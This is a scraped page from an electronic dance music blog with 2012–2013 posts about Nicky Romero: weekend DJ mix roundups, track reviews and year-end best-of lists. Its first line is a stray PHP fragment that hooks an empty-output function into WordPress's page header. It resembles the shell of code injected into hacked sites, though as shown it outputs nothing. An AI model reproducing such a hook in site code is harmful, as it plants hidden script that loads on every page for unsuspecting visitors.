/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ FreshNewTracks » Nicky Romero

DJ-Set, House | Weekend Mixes 2/12/13

Posted by on February 12, 2013

Arty

It is Mardi Gras, so the weekend starts tonight if it hasn’t already. We start things off this week with the 7th episode of EPIC Radio from Eric Prydz who following up his surreal Essential Mix, holds nothing back with plenty of unreleased tracks. Pierce Fulton presents the eclectic “Get Weird” Mix in its 10th episode that features all exclusive edits and mashups that you don’t want to miss. Next up we have the 7th episode of the twice a month RAVE’N podcast from Dzeko & Torres that features a guest mix from Autoerotique and features unreleased tracks like “Together We Are” and “Hit It“. The Drop features much of the best releases from last week with a guest mix from Boris if you are into that type of house. After the jump we have mixes from The Bingo Players, Arty, a W&W guest mix for Hardwell and N3AKO.

READ ON >>

House | Nicky Romero, Nilson & John Christian – Still The Same Man

Posted by on February 4, 2013

Still-The-Same-Man

Nicky Romero takes a big 180 with this production (in a good way) and goes to his pre-Toulouse sound, before the revolution he started with massive presets to tracks like “Camorra” and adds a groove we have not heard in quite some time in his tracks. Nicky Romero gets funky with fellow Dutchman Nilson & John Christian on “Still The Same Man” with this modern reinterpretation of the 2006 track “Same Man” from Till West & DJ Delicious. In his debut on Toolroom Records, Nicky Romero shows his versatility as producer with the strong tech and disco influences of the original, adding deft key play to this 2013 rendition of “Still The Same Man” that is sure to invigorate any dance floor.

Beatport: Nicky Romero, Nilson & John Christian – Still The Same Man

DJ-Set | Weekend Mixes 1/10/13 Year End Edition Part 2

Posted by on January 10, 2013

It is time for the weekend and since I missed last week, there is going to be A LOT of mixes in this post. I have about 24 hours of music and all of it good. We start things off with Hardwell’s yearmix that goes through his accomplished discography from this year and a selection of tracks from his label, Revealed Recordings. Next up is from yearmix from Nicky Romero that includes his numerous releases from this year and the unreleased “Symphonica”. Hook N Sling provides us with his take on 2012 in a high energy, bootleg heavy mix. Young Polish Dj Tom Swoon goes the extra mile and gives us 61 tracks in 2 hours for his year end mix, traversing genres from electro to trance to progressive.

After the jump we have the two latest episodes of The Drop that include exclusives from both guest mixers, Qulinez & Synchronice. Next week they are celebrating their 50 episode with mixes from Djs like Leon Bolier, Lazy Rich & Maor Levi all week so head to their Facebook page for full details. You will also find year end mixes from Dannic, Inpetto, who mix 50 songs in 1 hour, Dzeko & Torres who mix 40 songs in 10 minutes, Gregori Klosman and N3AKO. Lastly, included are a various assortment of other mixes and live sets from the past week or so, notably from NYE celebrations.

READ ON >>

DO SOMETHING

DJ-Set | Kap Slap – New Years Mix

Posted by on January 10, 2013


In honor of the New Year, Kap Slap dropped an hour long mix. It’s packed with unreleased bootlegs, big room anthems, and everything else you’d expect from the man himself. Keep your eyes peeled, his latest mixtape drops in 5 days! Tracklist after the jump.

READ ON >>

Compilation, Electro-House, Featured, Progressive House | FNT’s Top 25 Big Room & Electro Tracks of 2012

Posted by on January 9, 2013

2012 was a year of explosive growth for dance music worldwide. We have seen increasing influence from the United States in dance culture, with the “bigger is better” ethos evident in everything from sound and visual production to the massive convergence of electronic music with pop music (a charge led by top-40 radio stars like Rihanna, Chris Brown, Usher, and even Taylor Swift, who made a brief but notable foray into dubstep this year). In other words, dance music has literally and figuratively blown up. Of course, with the “mainstream-ization” of dance music comes the inevitable backlash from traditionalists who’d prefer it to remain as it was in the 80s and 90s — confined to small clubs and warehouses with little attention from the general public. This rift is notably present in the trance community, where purists who prefer the higher BPMs of the 90s and early 2000s often look down upon newer listeners who have quickly latched on to what Above & Beyond famously described as “trance 2.0.”

While there are valid arguments to be made for both sides of this growing dance music debate, at the end of the day we think you should listen to what you like, and that producers should be free to evolve artistically without fear of being branded sellouts. Of course, it is important to acknowledge and respect the long (and occasionally troubled) road that electronic music has taken to get to where it is today, just as it is undeniable that 2013 has very exciting things in store for the genre — regardless of whether you’ve been a fan for twenty years or twenty minutes.

In keeping with this theme, we bring you this list in addition to our own personal lists — a list which we think sums up the year in dance music, from the clubs to the festivals to what you played on your car speakers. We all have our own tastes, but we still must pay our respects to the EDM anthems that dominated the year. So without further adieu, a few words on how this list was decided. First and foremost, this is our list, not the definitive list from the dance music gods, so no matter how hard we try to be objective we’re sure there will be some debate. Secondly, we are talking about the biggest and best tracks of the year — so tracks that were absolutely dynamite but which failed to garner support and playtime from other DJs will not make the cut. Third, remember the genres we’re covering. No hard feelings to Sasha’s remixes of “Flutes” and “Benediction” — both crushed 2012 — but this isn’t the time or the place. We also must note that we are American, so our list will mainly represent the tracks we heard at US festivals and clubs (even though some of us spent substantial time in Europe). Finally, we must give a quick nod to all of the amazing songs that were released just before 2012 but which still had an enormous impact on the year — like Nicky Romero’s “Toulouse“, Knife Party’s “Internet Friends”, Bingo Players’ “Rattle”, Swedish House Mafia & Knife Party’s “Antidote” and the ever-enduring “Epic”. At the end of 2013, we’ll give the same acknowledgment to tracks released in December 2012, like “Easy“, “I Could Be The One“, “Like Home“, “Clash” and possibly “Rift“.

Whew. Now that we’re done with that, let’s get on to The Top 25 Big Room & Electro Tracks of 2012.

READ ON >>

Progressive House, Trance | Middy’s Top 12 of 2012

Posted by on January 5, 2013

2012 was a crazy year. ASOT 550, Sensation, E Zoo, Inox, Prydz, seeing some of the best DJs in the world two, three, four, five times. It was fun. This was not easy at all and I could go back and forth on this at any moment, but these are those tracks that you could go back to at any moment and be more than happy. They are the ones that have a place in the timeline of the year. This is very separate of what is to come in the next few days — the official best and biggest tracks of 2012.

READ ON >>

Progressive House | Anakyn – Point Blank (Nicky Romero Revisit)

Posted by on November 20, 2012

Coming off of his like massive collab with Nervo, “Like Home“, Nicky Romero gives us a slight retouch of “Point Blank” from Anakyn, which has received support from the might Pete Tong as it serves as a launch point for the restart of his FFRR label. Nicky Romero keeps much of the melodic structure, but just as any skilled producer with a fine tuned ear does, he finds the places that can be improved and adding an extra dimension in the low end to give the track the edge it needed.